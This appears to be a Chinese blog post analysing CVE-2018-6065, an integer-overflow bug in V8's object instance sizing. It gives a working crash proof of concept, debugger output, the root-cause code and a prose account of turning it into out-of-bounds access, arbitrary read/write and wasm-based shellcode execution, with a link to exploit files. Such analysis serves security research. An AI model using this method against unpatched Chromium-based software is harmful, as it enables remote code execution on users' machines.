前言
由于一些依赖Chromium的软件未开启沙箱选项也没同步更新代码,导致这个老洞被利用,我尝试在Linux上分析调试了这个漏洞。
准备工作与编译
v8的漏洞调试环境搭建不少文章说过了,这里略过,我这里使用的环境是Ubuntu18.04 + pwndbg
通过受影响Chrome版本(64.0.3282.119)的 DEPS,可以找到对应的V8 commit: 0407506af3d9d7e2718be1d8759296165b218fcf ,这也是我接下来调试所使用的commit 。
大致的编译流程:
1
2
3
4
5
6
7
8
9
10
|
git reset 0407506af3d9d7e2718be1d8759296165b218fcf --hard
gclient sync -f
# build debug
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug
# build release
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release
|
过程中可能会报错:
1
|
../../third_party/llvm-build/Release+Asserts/bin/clang++: error while loading shared libraries: libtinfo.so.5: cannot open shared object file: No such file or directory
|
sudo apt install libncurses5 即可解决。
Root cause 分析
根据bug issue里面的说法:在初始化一个新的javascript对象时,分配内存大小的计算过程出现了整数溢出,使得分配的内存大小可能小于base object class的最小需要尺寸,进而造成内存破坏。
首先看poc:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
const f = eval(`(function f(i) {
if (i == 0) {
class Derived extends Object {
constructor() {
super();
${"this.a=1;".repeat(0x3fffe-8)}
}
}
return Derived;
}
class DerivedN extends f(i-1) {
constructor() {
super();
${"this.a=1;".repeat(0x40000-8)}
}
}
return DerivedN;
})`);
let a = new (f(0x7ff))();
//%DebugPrint(a);
//%SystemBreak();
console.log(a);
|
触发崩溃:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
pwndbg> r poc.js
Starting program: /home/af/v8/out.gn/x64.debug/d8 poc.js
ERROR: Could not find ELF base!
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff3f53700 (LWP 3065)]
[New Thread 0x7ffff3752700 (LWP 3066)]
[New Thread 0x7ffff2f51700 (LWP 3067)]
#
# Fatal error in ../../src/objects-inl.h, line 3180
# Debug check failed: 0 <= value (0 vs. -2).
#
==== C stack trace ===============================
/home/af/v8/out.gn/x64.debug/./libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x7ffff7fbc32e]
/home/af/v8/out.gn/x64.debug/./libv8_libplatform.so(+0x2f777) [0x7ffff7f62777]
/home/af/v8/out.gn/x64.debug/./libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x1bd) [0x7ffff7fa576d]
/home/af/v8/out.gn/x64.debug/./libv8_libbase.so(+0x291ef) [0x7ffff7fa51ef]
/home/af/v8/out.gn/x64.debug/./libv8_libbase.so(V8_Dcheck(char const*, int, char const*)+0x32) [0x7ffff7fa57c2]
/home/af/v8/out.gn/x64.debug/./libv8.so(v8::internal::Map::SetInObjectUnusedPropertyFields(int)+0x4ad) [0x7ffff69ba53d]
/home/af/v8/out.gn/x64.debug/./libv8.so(v8::internal::Heap::AllocateMap(v8::internal::InstanceType, int, v8::internal::ElementsKind, int)+0x5ac) [0x7ffff70d896c]
/home/af/v8/out.gn/x64.debug/./libv8.so(v8::internal::Factory::NewMap(v8::internal::InstanceType, int, v8::internal::ElementsKind, int)+0x5c) [0x7ffff705fcec]
/home/af/v8/out.gn/x64.debug/./libv8.so(v8::internal::Map::RawCopy(v8::internal::Handle<v8::internal::Map>, int, int)+0x60) [0x7ffff7320ee0]
/home/af/v8/out.gn/x64.debug/./libv8.so(v8::internal::Map::CopyInitialMap(v8::internal::Handle<v8::internal::Map>, int, int, int)+0x4c) [0x7ffff73217ac]
/home/af/v8/out.gn/x64.debug/./libv8.so(v8::internal::JSFunction::GetDerivedMap(v8::internal::Isolate*, v8::internal::Handle<v8::internal::JSFunction>, v8::internal::Handle<v8::internal::JSReceiver>)+0x279) [0x7ffff72f0d49]
/home/af/v8/out.gn/x64.debug/./libv8.so(v8::internal::JSObject::New(v8::internal::Handle<v8::internal::JSFunction>, v8::internal::Handle<v8::internal::JSReceiver>, v8::internal::Handle<v8::internal::AllocationSite>)+0x167) [0x7ffff72f0977]
/home/af/v8/out.gn/x64.debug/./libv8.so(+0x1a21ea2) [0x7ffff759cea2]
/home/af/v8/out.gn/x64.debug/./libv8.so(v8::internal::Runtime_NewObject(int, v8::internal::Object**, v8::internal::Isolate*)+0x107) [0x7ffff759ca97]
[0x19b557384384]
Thread 1 "d8" received signal SIGILL, Illegal instruction.
v8::base::OS::Abort () at ../../src/base/platform/platform-posix.cc:346
346 V8_IMMEDIATE_CRASH();
|
分析调用堆栈:
1
2
3
4
5
6
7
8
|
JSObject::New(...)
-> JSFunction::GetDerivedMap(...)
-> Map::RawCopy(Handle<Map> map, int instance_size, int inobject_properties)
-> Factory::NewMap(InstanceType type, int instance_size,
ElementsKind elements_kind,
int inobject_properties)
-> Map::SetInObjectUnusedPropertyFields(int value)
// value=inobject_properties
|
找到poc crash 处对应的代码:
1
2
3
4
5
6
7
8
9
10
11
|
void Map::SetInObjectUnusedPropertyFields(int value) {
STATIC_ASSERT(JSObject::kFieldsAdded == JSObject::kHeaderSize / kPointerSize);
if (!IsJSObjectMap()) {
DCHECK_EQ(0, value);
set_used_or_unused_instance_size_in_words(0);
DCHECK_EQ(0, UnusedPropertyFields());
return;
}
DCHECK_LE(0, value); // poc crash here
// [...]
}
|
value 的值是传入的inobject_properties,等于-2,没有通过检查导致crash。
poc.js中的函数f是一个递归函数,接受一个参数i,当i=0时返回class Derived,Derived继承自Object;当i>0时返回class DerivedN,DerivedN继承自f(i-1) 。简而言之,f(i)返回的class有一个继承链,这个链的长度由i来控制。
把视角切换到两个class的 constructor 中,二者都在super()之后重复初始化了很多次"this.a=1",假设这个重复次数为j。从bug issue中可以得知,溢出发生的地方是 JSFunction::CalculateInstanceSizeHelper中instance_size被赋值的时候:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
void JSFunction::CalculateInstanceSizeHelper(InstanceType instance_type,
bool has_prototype_slot,
int requested_embedder_fields,
int requested_in_object_properties,
int* instance_size,
int* in_object_properties) {
int header_size = JSObject::GetHeaderSize(instance_type, has_prototype_slot);
DCHECK_LE(requested_embedder_fields,
(JSObject::kMaxInstanceSize - header_size) >> kPointerSizeLog2);
*instance_size =
Min(header_size +
((requested_embedder_fields + requested_in_object_properties)
<< kPointerSizeLog2),
JSObject::kMaxInstanceSize);
*in_object_properties = ((*instance_size - header_size) >> kPointerSizeLog2) -
requested_embedder_fields;
}
|
接下来调试一下:
在objects.cc:13707处下断,第二次断下的时候可以观察到instance_size发生整数溢出:0x100000008的计算结果被赋给int类型的instance_size,instance_size被赋值为8,随后in_object_properties被赋值为-2,这与前面的堆栈分析现象相符。在调试中会发现requested_in_object_properties是可以通过i和j的值控制的,进而能控制instance_size的值。
*instance_size = 0x18 + (0 + 0x1ffffffe) « 3 = 0x100000008 // overflow!!
*in_object_properties = (8-0x18) » 3 = -2
exploit分析
oob
手上有两个exp,一个是bugs issue里面附带的exploit.html,另一个是网上流传的在野利用脚本chrome.js。
二者的利用思路是一样的:让class Derived继承正则类RegExp,触发漏洞将instance_size的值溢出为8,使得JSRegExp只会分配0x8字节的内存,在JSRegExp的初始化完成之前分配一个JSArray,JSArray会分配到JSRegExp+0x8的位置让这两个结构部分重叠,JSRegExp在后续初始化data和source的时候会覆盖JSArray的elements和length字段,使得JSArray具备越界读写的能力,之后配合ArrayBuffer就可以完成任意地址读写。
1
2
3
4
5
6
7
8
9
|
// JSRegExp JSArray
// 0000: map
// 0008: properties_or_hash map
// 0010: elements properties_or_hash
// 0018: data elements <--- corrupt
// 0020: source length <--- corrupt
// 0028: flags
// 0030: size
// 0038: last_index
|
JSArray结构的破坏分成三个步骤:
- JSRegExp分配0x8个字节
- JSArray在JSRegExp的data和source初始化之前分配,且处于JSRegExp+0x8的位置
- JSRegExp初始化data和source,覆盖JSArray的elements和length字段
这个顺序是如何确保的呢?
先通过一个简单的脚本调试一下JSRegExp的构建过程:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
var cb = function() {
print("[*] in cb ....");
return 'c01db33f';
}
print("[*] start constructor....");
var a = new RegExp({
toString: cb
}, 'g')
print("[*] over...."+ a);
%DebugPrint(a);
%SystemBreak();
|
在JSRegExp初始化的地方下断点,可以看到在调用JSRegExp::Initialize之前:JSRegExp已分配结构并初始化了部分数据结构,但是data和source还是undefined的状态;而js代码中第一个参数对应的source已经调用了cb函数返回了字符串c01db33f。
执行完JSRegExp::Initialize,data和source字段也初始化完毕。
没有在调试中确认的一个问题是JSRegExp的分配和cb二者的执行顺序,Runtime_RegExpInitializeAndCompile之前的调用因为没找到调试的方法没继续跟了,从观察的现象来说JSRegExp的分配总是先进行的。
下面是调试chrome.js中JSArray (g_array) 的length字段被覆盖的过程,也可以观察到JSRegExp和JSArray二者地址相差0x8个字节:
任意地址读写 & 执行shellcode
有了oob,剩下就是常规套路,使用oob把this.buffer的backing_store处写成this.page_buffer的地址,通过this.buffer读写this.page_buffer的指针即可进一步达成任意地址读写。
执行shellcode使用的是wasm的方法,不同版本的v8找rwx的偏移好像都不太一样,试了网上的几个都失败了,我在debug版本试了几次,最后还是找到了,然后就是拷贝shellcode到该区域执行就结束了。
相关文件放在:https://github.com/b1tg/CVE-2018-6065-exploit
后记
有些细节是没覆盖到的,比如instance_size的控制,我简单调了一下应该是通过tDerivedNCount和tDerivedNDepth二者控制,因为chrome.js跑起来instance_size直接是对的,我就没进一步确认了, gc对exp的影响我也没有研究。
总的来说,分析和调试的过程还是很有趣的,被迫看了不少v8的源码,也不像开始那么抵触了。
参考链接